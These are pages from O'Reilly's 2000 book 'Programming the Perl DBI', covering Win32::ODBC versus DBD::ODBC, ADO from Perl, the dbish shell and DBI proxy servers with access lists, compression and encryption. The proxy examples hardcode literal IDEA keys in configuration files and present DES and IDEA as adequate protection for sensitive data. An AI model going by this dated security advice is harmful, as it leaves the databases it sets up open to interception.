### Connect to a data source
$db = new Win32::ODBC("DSN=MyDataDSN;UID=me;PWD=secret")
    or die Win32::ODBC::Error();

### Prepare and Execute a statement
if ($db->Sql("SELECT item, price FROM table")) {
    print "SQL Error: " . $db->Error() . "\n";
    $db->Close();
    exit;
}

### Fetch row from data source
while ($db->FetchRow) {
    my ($item, $price) = $db->Data();  ### Get data values from the row
    print "Item $item = $price\n";
}

### Disconnect
$db->Close();

The most significant disadvantages of Win32::ODBC compared to DBD::ODBC are:

There is no separate statement handle

The database connection handle is used to store the details of the current statement. There is no separate statement handle, so only one statement can execute per database handle. But that's not as bad as it may seem, because it's possible to clone database handles so that more than one handle can share the same underlying ODBC database connection.

There are no separate prepare and execute steps

You cannot prepare a statement for execution later. The Sql() method, like the DBI do() method, combines both.

Placeholders and bind parameters are not supported

This is perhaps the most significant disadvantage of Win32::ODBC. All values must be passed as literal text values within the SQL statements.

The lack of support for placeholders, especially when coupled with the inability to prepare statements, means that nontrivial applications based on Win32::ODBC tend to place a greater burden on database servers and thus run more slowly.

It also causes problems when trying to insert binary data such as images.

Fetching rows is a two-step process

The FetchRow() method doesn't actually return any data to the script. To get the row of data values, you need to call either the Data() method to get a simple list (like fetchrow_array() ), or the DataHash() method to get a hash (like fetchrow_hashref() ).

This is more of a nuisance than a significant disadvantage. It's also another reason why Win32::ODBC is a little slower than using DBI.

There is no automatic error handling

In ODBC, there is no equivalent to the DBI's RaiseError and PrintError mechanism. You need to explicitly test the return status of all Win32::ODBC method calls if you want to write a robust application.

The lack of automatic error handling makes Win32::ODBC less suitable for nontrivial applications when application reliability is important. This is especially true where transactions are being used.

Win32::ODBC is slightly slower than DBD::ODBC

Even for simple queries, Win32::ODBC tends to be slightly slower than DBD::ODBC for the same platform and database. As always with benchmarks, your mileage may vary, so test it yourself if this is an issue for you.

There are plans to address some of these disadvantages in a later release. The most significant advantages of Win32::ODBC compared to DBD::ODBC are:

Most of the ODBC API is available to use

This is currently the biggest advantage that Win32::ODBC has over DBD::ODBC.

The remaining items in this list are really significant ODBC features rather than features of the Win32::ODBC module itself, but until DBD::ODBC supports them, they still count as advantages of Win32::ODBC.

Attributes, options, and metadata are available

These are described in the previous section. A wide range of metadata functions is available, along with functions for controlling many attributes and options.

Scrolling cursors are supported

Scrolling cursors let you read the rows of data returned by a query in any order. You can jump to the last row and read backwards. You can jump to any row either by absolute row number or relative to the current row. That's very handy for interactive browsing applications.

Previous | Home | Next
7.3. The Nuts and Bolts of ODBC | Book Index | 7.5. The Marriage of DBI and ODBC
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Marriage of DBI and ODBC (Programming the Perl DBI)

 Programming the Perl DBISearch this book

7.5. The Marriage of DBI and ODBC

The DBI has been strongly influenced by ODBC and the international standards that lie behind it (X/Open SQL CLI and ISO/IEC 9075-3:1995 SQL/CLI). The development of the DBD::ODBC module has given the DBI a more solid footing in the world of ODBC.

The DBI specification naturally evolves over time. The ODBC standard gives it a standards-based framework to build around. So, for example, if a method to return information about the datatypes supported by a database needs to be added, then following the proven standard function that makes much more sense than defining a new way. Thus, the DBI type_info method is modeled very closely on the GetTypeInfo ODBC function.

As the DBI and DBD::ODBC modules evolve, they'll naturally move closer together. As there are two excellent portable Open Source driver managers available,[66] the DBD::ODBC module should become as portable as DBI itself. At that point, it may well make sense to combine the two.

[66]It's available from the FreeODBC project at: http://users.ids.net/~bjepson/FreeODBC/.

Previous | Home | Next
7.4. ODBC from Perl | Book Index | 7.6. Questions and Choices
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Questions and Choices (Programming the Perl DBI)

 Programming the Perl DBISearch this book

7.6. Questions and Choices

Hopefully by now we've answered all your questions about using ODBC from Perl, except one. If you need to choose between Win32::ODBC and DBD::ODBC, which do you choose?

It's actually a reasonably straightforward choice. If you need to use more of the ODBC API than is available through DBD::ODBC, then use Win32::ODBC. Otherwise the DBI plus DBD::ODBC combination is probably your best bet.

Previous | Home | Next
7.5. The Marriage of DBI and ODBC | Book Index | 7.7. Moving Between Win32::ODBC and the DBI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Moving Between Win32::ODBC and the DBI (Programming the Perl DBI)

 Programming the Perl DBISearch this book

7.7. Moving Between Win32::ODBC and the DBI

Let's say that you've already written an application that uses Win32::ODBC, but you now need to run it on a non-Windows machine, or just want to use the DBI for some other reason.

The best technical approach would be to rewrite the application, but the real world doesn't often give us that kind of luxury. A more practical solution would be to use some kind of emulation of Win32::ODBC that uses the DBI "under the hood". The Win32::DBIODBC module bundled with the DBI does just that.

The Win32::DBIODBC module implements enough of the Win32::ODBC API for many simple applications to be ported with only a one-line change. Instead of saying:

use Win32::ODBC;

you just say:

use Win32::DBIODBC;

In the rest of your code, you still refer to the Win32::ODBC module. There is also an easy way to test your applications without having to change them at all. Just load Win32::DBIODBC from the command line:

perl -MWin32::DBIODBC your_script_name

Win32::DBIODBC fools Perl into thinking that Win32::ODBC has been loaded, so the use Win32::ODBC; line in your script won't have any effect.

Once you're using the emulation, you have the option to start rewriting the application to use the DBI directly at your own pace.

Previous | Home | Next
7.6. Questions and Choices | Book Index | 7.8. And What About ADO?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


And What About ADO? (Programming the Perl DBI)

 Programming the Perl DBISearch this book

7.8. And What About ADO?

ADO (ActiveX Data Objects) is Microsoft's latest flavor of proprietary Win32-only data access API. They say "ADO is Microsoft's strategic, high-level interface to all kinds of data."

If it helps, you can think of ADO as a layer of gloss over ODBC, though in fact it's built on Microsoft's OLE DB API. ADO provides access to ODBC databases and also to many new data sources not previously available via ODBC. It's object-oriented and designed to be easy to use, in theory.

You can use ADO from Perl via the Win32::OLE module. Here's an example:

use Win32::OLE;
$conn = Win32::OLE->new("ADODB.Connection");
$conn->Open("DSN=MyDSN;UID=MyUID;PWD=MyPwd");
$RS = $conn->Execute("SELECT isbn, title FROM books");
if (!$RS) {
    $Errors = $conn->Errors();
    die "Errors:\n", map { "$_->{Description}\n" } keys %$Errors;
}

while ( !$RS->EOF ) {
    my ($isbn, $title) = (
        $RS->Fields('isbn')->Value,
        $RS->Fields('title')->Value,
    );
    print "$isbn : $title\n";
    $RS->MoveNext();
}
$RS->Close();
$conn->Close();

To save you from having to learn yet another data access API, the DBI comes to your rescue with DBD::ADO. The DBD::ADO driver lets you connect to any ADO data source and fetch data from it using portable DBI Perl code. There's no need to learn a new API, and you'll have a far easier life if you need to port applications to or from ADO.

Previous | Home | Next
7.7. Moving Between Win32::ODBC and the DBI | Book Index | 8. DBI Shell and Database Proxying
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


DBI Shell and Database Proxying (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Chapter 8. DBI Shell and Database Proxying

Contents:

dbish -- The DBI Shell
Database Proxying

This chapter takes a look at two essential additions to the Perl DBI armory: a command-line shell for databases, and the proxying drivers that provide network access to remote database drivers.

8.1. dbish -- The DBI Shell

The DBI Shell, or dbish , is a command-line tool that allows you to run arbitrary SQL statements and diagnostics against databases without needing to write a complete Perl program.

For example, let's say we wanted to get a quick list of all the megaliths in Wiltshire. We could write a complete Perl program that connects to the database, prepares and executes the appropriate SQL statement, fetches the data back, formats it, and disconnects from the database.

With the DBI, this process is easy, but it's a bit tedious if you just want some quick information.

This is where the dbish comes into play. dbish allows you to connect to a data source and type an SQL statement straight into it. dbish handles all the underlying connecting, preparing, and executing, and also gives you the results right away.

8.1.1. Starting Up dbish

dbish is an executable program bundled with the DBI. You should be able to start it up by typing:

dbish

which will return a prompt in the following manner:

DBI::Shell 10.5 using DBI 1.14

WARNING: The DBI::Shell interface and functionality are
=======  very likely to change in subsequent versions!

Available DBI drivers:
 1: dbi:ADO
 2: dbi:ExampleP
 3: dbi:Oracle
 4: dbi:Proxy
Enter driver name or number, or full 'dbi:...:...' DSN:

Some drivers require real username and password authentication to connect to databases. To support this requirement, you can supply additional arguments to dbish in the form of:

dbish <data_source> [username] [password]

For example:

dbish '' stones stones

or:

dbish dbi: stones stones

In this case, we haven't specified a driver, and so we'll choose one interactively through the menus. We can also bypass the menus by putting in the data source name for the desired database:

dbish dbi:Oracle:archaeo stones stones

If you don't specify a driver on the command line, the displayed menus allow you to select a type of database by listing the various drivers available. For example, if an Oracle database contained the megalithic database, you would select the dbi:Oracle data source by typing 3. This will result in that specific database driver being queried for available data sources. For example:

Enter data source to connect to:
 1: dbi:Oracle:archaeo
 2: dbi:Oracle:sales
Enter data source or number, or full 'dbi:...:...' DSN:

This example shows that the underlying Oracle database driver is aware of two locally configured Oracle databases. Our megalithic database is stored in the archaeo database, so type 1.

At this stage, dbish will attempt to connect to the database. Once you have connected successfully to a data source, you will see a prompt such as:

stones@dbi:Oracle:archaeo>

telling you that you are connected to the data source dbi:Oracle:archaeo as the user stones, and that dbish is ready for you to issue commands to it.

You can make a connection to another database from within dbish by using the /connect command. For example:

stones@dbi:Oracle:archaeo> /connect dbi:Oracle:sales dbusername
Disconnecting from dbi:Oracle:archaeo.
Connecting to 'dbi:Oracle:sales' as 'dbusername'...
Password for 'dbusername' (not echoed to screen): ......
stones@dbi:Oracle:sales>

Unfortunately, connecting to multiple databases simultaneously is not yet supported by dbish.

8.1.2. Handling Statements

In general, the most common reason for using dbish is to issue ad-hoc SQL statements to a database, either to check that the statement works before including it in a Perl program, or just to get some quick answers. This task is exactly what dbish was designed for.

dbish commands are entered as a forward slash (/) followed by a command name and optionally some extra arguments. For example:

/help

Anything entered that doesn't start with a forward slash is considered to be part of an SQL statement and is appended to a ``statement buffer.'' Once the SQL statement is complete, you can execute it, and the results, if any, will be returned to your screen.

For example, to query the names of all sites in the megalithic database, type:

stones@dbi:Oracle:archaeo> SELECT name FROM megaliths
Current statement buffer (enter '/' to execute or '/help' for help):
SELECT name FROM megaliths

stones@dbi:Oracle:archaeo> /
'Avebury'
'Stonehenge'
'Lundin Links'
...
[132 rows of 1 fields returned]
stones@dbi:Oracle:archaeo>

Note that a forward slash by itself can be used to execute statements. After executing a statement, the statement buffer is cleared. But suppose we start typing in a new query and then change our minds about what we want to return:

stones@dbi:Oracle:archaeo> SELECT name FROM megaliths
Current statement buffer (enter '/' to execute or '/help' for help):
SELECT name FROM megaliths
stones@dbi:Oracle:archaeo> SELECT name, mapref FROM megaliths
Current statement buffer (enter '/' to execute or '/help' for help):
SELECT name FROM megaliths
SELECT name, mapref FROM megaliths

stones@dbi:Oracle:archaeo>

This is totally wrong! Fortunately, you can clear the statement buffer of old statements and start new ones afresh with the /clear command. Statements that have been executed are automatically cleared from the statement buffer, but can be recalled with the /history command. You can even use the /edit command to start up an external editor for editing your SQL.

The way in which results of SELECT statements are displayed is also configurable using the /format command. The two options currently available are /format neat and /format box. The default option is neat, which uses the DBI::neat_list() function to format the data. For example, the statement:

stones@dbi:Oracle:archaeo> SELECT name, mapref FROM megaliths /

has the following output:

'Avebury', 'SU 102 699'
'Stonehenge' 'SU 123 422',
'Lundin Links', 'NO 404 027'
...
[132 rows of 1 fields returned]

The box option is prettier:

+--------------+------------+
| name         | mapref     |
+--------------+------------+
| Avebury      | SU 102 699 |
+--------------+------------+
| Stonehenge   | SU 123 422 |
+--------------+------------+
| Lundin Links | NO 404 027 |
+--------------+------------+

It's also possible to issue non-SELECT statements from dbish with the / command. Want to delete all the rows from a table? Simply type:

stones@dbi:Oracle:archaeo> delete from megaliths /
[132 rows affected]
stones@dbi:Oracle:archaeo>

Quick, easy, and very deadly! Any non-SELECT statement can be issued in this way, including CREATE TABLE statements or even stored procedure calls, if your database supports them.[67]

[67]There's a /do command that forces the do() method to be used instead of a prepare() followed by an execute(). In practice, it's rarely needed.

8.1.3. Some Miscellaneous dbish Commands

As dbish is a fairly fully featured command-line shell,[68] it has some convenient commands defined within it that allow you to commit and roll back database changes, recall statements and commands that you'd executed in the past, and even execute arbitrary Perl statements!

[68]dbish's powerful command-line editing functionality comes courtesy of the Term::Readline and Term::Readline::Gnu modules. You don't need to install them to use dbish, but it helps.

One of the most useful of the miscellaneous statements is /table_info , which lists the tables in the database that you are currently connected to. This statement is indispensable when you're trying to remember exactly what that pesky table name is!

A full list of these commands can be seen by typing the all-important /help command.

dbish is currently a handy tool for performing quick tasks on a database. It should continue to evolve over time into an indispensable part of the database administrator's and database developer's armory, much like proprietary tools such as Oracle's SQL*Plus utility.

Previous | Home | Next
7.8. And What About ADO? | Book Index | 8.2. Database Proxying
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Database Proxying (Programming the Perl DBI)

 Programming the Perl DBISearch this book

8.2. Database Proxying

Database proxying is the ability to forward database queries to a database, using an intermediate piece of software, the proxy, and return the results from those queries without the client program having any database drivers installed.

For example, a common use for a database proxy is for a client program located on a Unix machine to query a Microsoft Access database located on a Windows machine. Suppose the Unix machine has no ODBC software or drivers installed and thus doesn't know anything about ODBC. This means that it needs to forward any queries to a proxy server that does know about ODBC and the Access database. The proxy server then issues the query and gathers the results, which it then passes back to the client program for processing.

This functionality is extremely powerful, as it allows us to access databases on virtually any operating system from any other operating system, provided that they are both running Perl and the DBI. There is an additional benefit in terms of software distribution: if client PCs used Perl scripts to access an Oracle database located on a central Unix server, you don't have to undergo a potentially complex Oracle client software installation. DBI proxy capabilities make this client software unnecessary.

Furthermore, you can automatically add ``network awareness'' to types of databases that could never otherwise support such a thing. For example, with the DBI proxy capabilities, you could run a Perl script on a Windows machine that queries data from a CSV file over the network.

Finally, the DBI proxy architecture allows for on-the-fly compression of query and result data, and also encryption of that data. These two facilities make DBI a powerful tool for pulling large results sets of data over slow network links such as a modem. It also makes DBI a secure tool for querying sensitive data. We shall discuss these two topics in greater detail in a later section.

8.2.1. The Database Proxy Architecture

The DBI supports database proxying through two modules, DBD::Proxy and DBI::ProxyServer . DBD::Proxy is used by client programs to talk to a proxy server that is implemented with the DBI::ProxyServer module. Figure 8-1 illustrates the architecture.

Figure 8-1. DBI proxy architecture

Because the DBI::ProxyServer module uses the underlying database drivers to actually interface with the databases, any type of database can be queried and manipulated via proxy, including CSV files and XBase (DBF) files. The DBI proxy architecture does not restrict you to using high-end databases such as Oracle or Informix.

So how do we use this proxy server? Let's look at the common example of a Perl program running on a Unix box that wants to query a Microsoft Access database running on a Windows machine.

8.2.1.1. Setting up a proxy server

The DBI proxy server is simply a layer on top of the DBI; it can only be a server for the data sources that the underlying DBI is able to connect to. So, before we get involved in setting up the proxy server to accept proxy client connections, we must install any database drivers that its clients may need. For our example of connecting to an Access database, we'll need to install the DBD::ODBC module.[69]

[69]If you have a compiler, you can get the source from CPAN and build it yourself, or, on Windows, just fetch and install a pre-built version using the PPM tool supplied with ActiveState Perl.

You will also need to configure your ODBC data source within the Windows ODBC Control Panel. For our megalithic database, let's call the ODBC data source archaeo.

We can test that this data source is correctly configured using the DBI Shell dbish locally on the Windows machine:

dbish dbi:ODBC:archaeo

or via a short script that can be run on your Windows machine:

use DBI;
$dbh = DBI->connect( "dbi:ODBC:archaeo", "username", "password" );
$dbh->disconnect(  );

If dbish connects, or if no errors occur when executing the script, it looks like everything's installed and configured correctly.

The easiest way to set up a DBI proxy server is to use the script called dbiproxy , which is distributed with the core DBI module. The DBI::ProxyServer module, used by dbiproxy, has a few prerequisite modules that must be installed in order for it to work: PlRPC and Net::Daemon . These can be downloaded and installed from CPAN using:

perl -MCPAN -e 'install Bundle::DBI'

Or, if you are running the ActiveState Perl for Windows, you can install these modules separately via PPM (since PPM currently does not currently support bundles).

The crucial information required by dbiproxy is the port number to which the proxy server should listen for incoming proxy client connections. If the port number is 3333, we can run the proxy server with the following command:

dbiproxy --localport 3333

This will start up the server; it's now waiting for connections. If you want to verify that the server is indeed up and running, you can run it with the --debug flag and the optional --logfile flag to specify where the debug output will go.

For example:

dbiproxy --localport 3333 --debug

will produce debug output either in the command prompt window on a Windows machine, and or via syslog(1) on a Unix machine. On Unix workstations, you can redirect the output to the current terminal with:

dbiproxy --localport 3333 --debug --logfile /dev/tty

This should behave correctly under most modern Unix platforms.

8.2.1.2. Connecting to the proxy server

Now that we have configured our proxy server to sit and wait on port 3333 on our Windows machine, we need to tell the client Perl program on the Unix machine to use that proxy server instead of attempting to make a direct database connection itself.

For example, the ODBC test script above connects directly via the DBD::ODBC module with the following DBI->connect( ) call:

$dbh = DBI->connect( "dbi:ODBC:archaeo", "username", "password" );

This is fine for local connections, but how do we translate that into something the proxy server can use?

DBD::Proxy makes liberal use of the optional arguments that can be added to a DSN when specifying which database to connect to. DBD::Proxy allows you to specify the hostname of the machine upon which the proxy server is running, the port number that the proxy server is listening to, and the data source of the database that you wish the proxy server to connect to.

Therefore, to connect to the ODBC database called archaeo on the Windows machine fowliswester with a proxy server running on port 3333, you should use the following DBI- >connect( ) syntax:

$dsn   = "dbi:ODBC:archaeo";
$proxy = "hostname=fowliswester;port=3333";
$dbh = DBI->connect( "dbi:Proxy:$proxy;dsn=$dsn", '', '' );

This looks quite long-winded, but it's a very compact and portable way to make a pass-through connection to a remote database by proxy.

Once you have connected to the proxy server and it connects to the desired data source, a valid database handle will be returned, allowing you to issue queries exactly as if you had connected directly to that database. Therefore, when using a proxy server, only the DBI->connect( ) call will vary -- which is exactly the same behavior as changing from one database to another.

Having said that, it's even possible to use the proxy without editing your programs at all. You just need to set the DBI_AUTOPROXY environment variable and the DBI will do the rest. For the example above, you can leave the connect( ) statement referring to dbi:ODBC:archaeo and just set the DBI_AUTOPROXY environment variable to:

dbi:Proxy:hostname=fowliswester;port=3333

The value contained within the DBI_AUTOPROXY value has the DSN specified in the DBI->connect( ) call concatenated to it to produce the correct proxy DSN. For example:

$ENV{DBI_AUTOPROXY} = 'dbi:Proxy:hostname=fowliswester;port=3333';
$dbh = DBI->connect( "dbi:ODBC:archaeo", "username", "password" );

would result in the script attempting a connection to the DSN of:

dbi:Proxy:hostname=fowliswester;port=3333;dsn=dbi:ODBC:archaeo

The other important point to stress regarding the client is that you do not need to install any database drivers whatsoever. The database drivers are used only by the proxy server.

8.2.2. Advanced Topics

The DBI proxy architecture is implemented on top of a couple of lower-level Perl networking modules such as PlRPC and, in the case of DBI::ProxyServer , Net::Daemon . As such, these modules have a lot of features that are inherited into the DBI proxy architecture, such as powerful access-list configuration and on-the-fly compression and ciphering.

We shall look at each of these topics in more detail and explain how they can be used effectively in your software.

8.2.2.1. Access configuration

The Net::Daemon, RPC::PlServer,
and DBI::ProxyServer modules share a common
 configuration filesystem because
of the ways that RPC::PlServer inherits from
Net::Daemon and
DBI::ProxyServer inherits from
RPC::PlServer.[70]

[70]All these modules, including DBD::Proxy were designed and implemented by a single author, Jochen Wiedmann. Thank you, Jochen.

The configuration files for these modules are expressed as Perl scripts in which various options are set. The most useful options are those that allow you to specify access lists. Access lists allow you to control which machines may connect to the proxy server, and the mode that the network transport between these machines and the proxy server operates in.

For example, if you had a secure corporate LAN containing a database server and client PCs, you might say that the client PCs could connect to the central database via a proxy server without any authentication or encryption. That is, a PC connected to the LAN is trusted.

However, computers in employees' houses that need access to the database are not trusted, as the data flowing across the phone line might be somehow intercepted by competitors. Therefore, the network transport between these machines and the central database server is encrypted.

A sample configuration file for the proxy server might look like:

{
    facility => 'daemon',
    pidfile  => '/var/dbiproxy/dbiproxy.pid',
    user  => 'nobody',
    group => 'nobody',
    localport => '3333',
    mode      => 'fork',

    # Access control
    clients => [
        # Accept the local LAN ( 192.168.1.* )
        {
            mask   => '^192\.168\.1\.\d+$',
            accept => 1
        },
        # Accept our off-site machines ( 192.168.2.* ) but with a cipher
        {
            mask   => '^192\.168\.2\.\d+$',
            accept => 1,
            # We'll discuss secure encryption ciphers shortly
            cipher => Crypt::IDEA->new( 'be39893df23f98a2' )
        },
        # Deny everything else
        {
            mask   => '.*',
            accept => 0
        }
    ]
}

The dbiproxy script can be started with this custom configuration file in the following way:

dbiproxy --configfile <filename>

For example, if we had saved the above configuration file as proxy.config, we could start up dbiproxy with the command:

dbiproxy --configfile proxy.config

Furthermore, the DBI::ProxyServer configuration file also allows us to apply access lists to individual types of statements. For example, you might want the workstations of sales operators to be able to query data, but not change it in any way. This can be done using the following configuration options:

# Only allow the given SELECT queries from sales
# workstations ( 192.168.3.* )
clients => [
    {
        mask   => '^192\.168\.3\.\d+$',
        accept => 1,
        sql    => {
            select => 'SELECT name, mapref FROM megaliths WHERE name = ?'
        }
    },
]

The other statement restriction keys that you can use are insert, update, and delete. For example, if you wished to allow only particular DELETE statements to be executed, you could write the following access control:

sql => {
    delete => 'DELETE FROM megaliths WHERE id = ?'
}

This control would refuse any DELETE statements that did not conform to the given control mask, such as someone maliciously executing DELETE FROM megaliths.

Therefore, the access control functionality inherent in DBI::ProxyServer and its parent modules can be used to build complex (yet flexible) networked database systems quickly and easily.

8.2.2.2. Compression

In the previous example, we discussed the possibility of a user querying the database via a modem line and proxy server. Suppose the user executes a query that returns 100,000 rows of data, each row being around 1 KB. That's a lot of information to pull across a slow network connection.

To speed things up, you could configure the proxy server to use on-the-fly compression (via the Compress::Zlib module) to clients querying the database over dial-up connection. This will radically reduce the quantity of data being transferred across the modem link. You can do this by running the dbiproxy script with the additional arguments of:

--compression gzip

which specifies that the GNU gzip compression method should be used.

In order for your client to be able to send and receive compressed data from the DBI proxy server, you also must tell the proxy driver to use a compressed data stream. This is done by specifying the additional DSN key/value pair of compression=gzip when connecting to the database. For example:

$proxyloc = 'hostname=fowliswester;port=3333';
$compression = 'compression=gzip';
$dsn = 'dbi:ODBC:archaeo';
$dbh = DBI->connect( "dbi:Proxy:$proxyloc;$compression;dsn=$dsn",
                     "username", "password" );

The trade-off is the cost in CPU time for the proxy server and proxy client to compress and decompress the data, respectively. From a client perspective, this is probably not an issue, but the proxy server might be affected, especially if several large queries are being executed simultaneously, with each requiring compression.

However, compression is a useful and transparent feature that can increase the efficiency of your networks and databases when using DBI proxying.

8.2.2.3. Ciphers

The final configuration topic that we will cover for the DBI proxy architecture is that of on-the-fly encryption of data.

This functionality is useful if you are implementing a secure networked database environment where database operations might be occurring over nonsecure network links, such as a phone line through a public ISP. For example, an employee at home might use his or her own ISP to access a secure company database. Or you might wish to make an e-commerce transaction between two participating financial institutions.

Both of these examples are prime candidates for using the cipher mechanism in DBI::ProxyServer. Ciphering is implemented within the RPC::PlClient and RPC::PlServer modules. This allows DBD::Proxy and DBI::ProxyServer to use those mechanisms by means of inheritance. The actual ciphering mechanism uses external modules such as Crypt::IDEA or Crypt::DES for key generation and comparison.[71]

[71]The technical differences and ins and outs of these algorithms are way beyond the scope of this book. You should consult the documentation for these modules for pointers to texts discussing the various cryptographic algorithms.

The very basic premise of an encrypted data stream is that the client and server generate keys, which are then sent to each other. When the client wishes to transmit data to the server, it encrypts the data with the server's key. Similarly, if the server wishes to send data to the client, it uses the client's key to encrypt it first. This system allows the client and server to decode the incoming data safely. Since the data is encrypted before transmission and decoded after receipt, anyone snooping on the network will see only encrypted data.

Therefore, to support encryption via DBI proxying, we need to configure both the client connecting to the proxy server to use encryption and also configure the server to use the same encryption.

The configuration of the client is trivial and is simply a case of specifying additional arguments to the DBI->connect( ) call. For example, to use Crypt::IDEA as the underlying ciphering method, we can write:

use Crypt::IDEA;

### The key is a random, but long, hexadecimal number!
$key = 'b3a6d83ef3187ac4';

### Connect to the proxy server
$dbh = DBI->connect( "dbi:Proxy:cipher=IDEA;key=$key;...", '', '' );

The actual key creation occurs by instantiating a new object of the given cipher type (in this case Crypt::IDEA) with the given key value. This cipher object is then passed to the proxy server. We could have used the Crypt::DES module to provide the underlying encryption services by simply changing cipher=IDEA to cipher=DES.[72] This demonstrates the configurability of the DBI proxy encryption mechanisms.

[72]We would also need to change the use Crypt::IDEA; line accordingly.

For example, if we were transmitting sensitive but not confidential data from our internal database to someone's home PC, we might wish to use the relatively low-grade encryption offered by Crypt::DES. However, if more confidential data was being transmitted, we might wish to switch over to using the stronger but slower encryption of Crypt::IDEA.

Configuring the proxy server is equally straightforward and is achieved by specifying the encryption rules within the proxy server configuration file. For example, a simple proxy server configuration that encrypts all traffic with Crypt::IDEA can be written as:

require Crypt::IDEA;

### The key to encrypt data with
$key = 'b3a6d83ef3187ac4';

{
    clients => [ {
        'accept' => 1,
        'cipher' => IDEA->new( pack( "H*", $key ) )
      } ]
}

The important aspect of this configuration file is that the key being used to create the Crypt::IDEA object matches that used by the client programs connecting to this proxy server. If the keys do not match, no connection will be made, as the client and server will not be able to decode data flowing over the network connection.

Previous | Home | Next
8. DBI Shell and Database Proxying | Book Index | A. DBI Specification
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

The animal on the cover of Programming the Perl DBI is a cheetah (Acinonyx jubatus), one of the oldest big cats, dating back four million years.

The cheetah is the fastest land animal in the world, reaching speeds up to 70 miles per hour, powered by its long legs and lean body. Its body is tan with black spots, and, at a distance, it's hard to tell males from females. A cheetah grows to be approximately two and a half feet tall at the shoulder; it measures around four feet long, with a tail about two feet long. An adult weighs 90-130 pounds. The life span of the cheetah is about ten years.

A mother cheetah's litter includes four to five cubs, who stay with their mother for a year and a half. The young learn hunting and survival skills in that time. The cheetah hunts by stalking and chasing its prey, which includes antelope, gazelles, rabbits, and game birds.

The cheetah is now considered to be an endangered species, with only 10,000-12,000 alive today, living almost exclusively in the grasslands of Africa. That number is much lower than the estimated 100,000 in 1900. In fact, it is extinct in more than twenty of the countries it originally inhabited. The cheetah suffers from loss of both habitat and food, plus poaching. Conservation groups are working to help preserve the cheetah in its natural habitat and keep it from extinction.

Nicole Arigo was the production editor and copyeditor for this book . Madeleine Newell proofread the book. Melanie Wang, Sarah Jane Shangraw, and Jane Ellin provided quality control. Judy Hoer wrote the index.

Hanna Dyer designed the cover of this book, based on a series design by Edie Freedman. The cover image is a 19th-century engraving from the Dover Pictorial Archive. Kathleen Wilson produced the cover layout with QuarkXPress 4.04 using Adobe's ITC Garamond font. Alicia Cech designed the interior layout based on a series design by Nancy Priest. Mike Sierra implemented the design in FrameMaker 5.5. The text and heading fonts are ITC Garamond Light and Garamond Book. The illustrations that appear in the book were produced by Robert Romano using Macromedia FreeHand 8 and Adobe Photoshop 5. This colophon was written by Nicole Arigo.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


(Programming the Perl DBI)

 Programming the Perl DBISearch this book

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.

Printed in the United States of America.

Published by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the cheetah image in association with the topic of Perl DBI is a trademark of O'Reilly & Associates, Inc.

Appendix A, DBI Specification, is Copyright © 1994-2000 Tim Bunce.

Appendix B, Driver and Database Characteristics, is composed of several individual files with the following copyrights:

  • The driver summary for DBD::ADO is Copyright © 1999 Tim Bunce and Phlip Plumlee.

  • The driver summary for DBD::CSV is Copyright © 1999 Tim Bunce. (With many thanks to Jochen Wiedmann.)

  • The driver summary for DBD::DB2 is Copyright © 1999 Tim Bunce and IBM.

  • The driver summary for DBD::Empress is Copyright © 1999 Tim Bunce and Steve Williams

  • The driver summary for DBD::Informix is Copyright © 1999 Tim Bunce and Jonathan Leffler.

  • The driver summary for DBD::Ingres is Copyright © 1999 Tim Bunce and Henrik Tougaard.

  • The driver summary for DBD::InterBase is Copyright © 1999 Tim Bunce and Edwin Pratomo.

  • The driver summary for DBD::mysql and DBD::MySQL is Copyright © 1999 Tim Bunce. (With grateful thanks to Jochen Wiedmann.)

  • The driver summary for DBD::ODBC is Copyright © 1999 Tim Bunce and Jeff Urlwin.

  • The driver summary for DBD::Oracle is Copyright © 1999 Tim Bunce.

  • The driver summary for DBD::Pg is Copyright © 1999 Tim Bunce and Edmund Mergl.

  • The driver summary for DBD::SearchServer is Copyright © 1999 Tim Bunce and Davide Migliavacca.

  • The driver summary for DBD::Sybase is Copyright © 1999 Tim Bunce and Michael Peppler.

  • The driver summary for DBD::XBase is Copyright © 1999 Tim Bunce and Jan Pazdziora.

Appendix C, ASLaN Sacred Site Charter: The ASLaN (Ancient Sacred Landscape Network) Charter was reproduced with permission from ASLaN.

While every precaution has been taken in the preparation of this book, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Previous | Home | Next
Table of Contents | Book Index | Dedication
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Dedication (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Dedication

To Máire.

To Carolyn.

Previous | Home | Next
Copyright Page | Book Index | Preface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Programming the Perl DBI

By Alligator Descartes and Tim Bunce
ISBN 1-56592-699-4
First edition, published February 2000
(See the catalog page for this book.)

Search the text of Programming the Perl DBI.

Table of Contents

Copyright Page
Dedication
Preface
Chapter 1: Introduction
Chapter 2: Basic Non-DBI Databases
Chapter 3: SQL and Relational Databases
Chapter 4: Programming with the DBI
Chapter 5: Interacting with the Database
Chapter 6: Advanced DBI
Chapter 7: ODBC and the DBI
Chapter 8: DBI Shell and Database Proxying
Appendix A: DBI Specification
Appendix B: Driver and Database Characteristics
Appendix C: ASLaN Sacred Site Charter
Index
Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: Programming the Perl DBI

Programming the Perl DBISearch this book

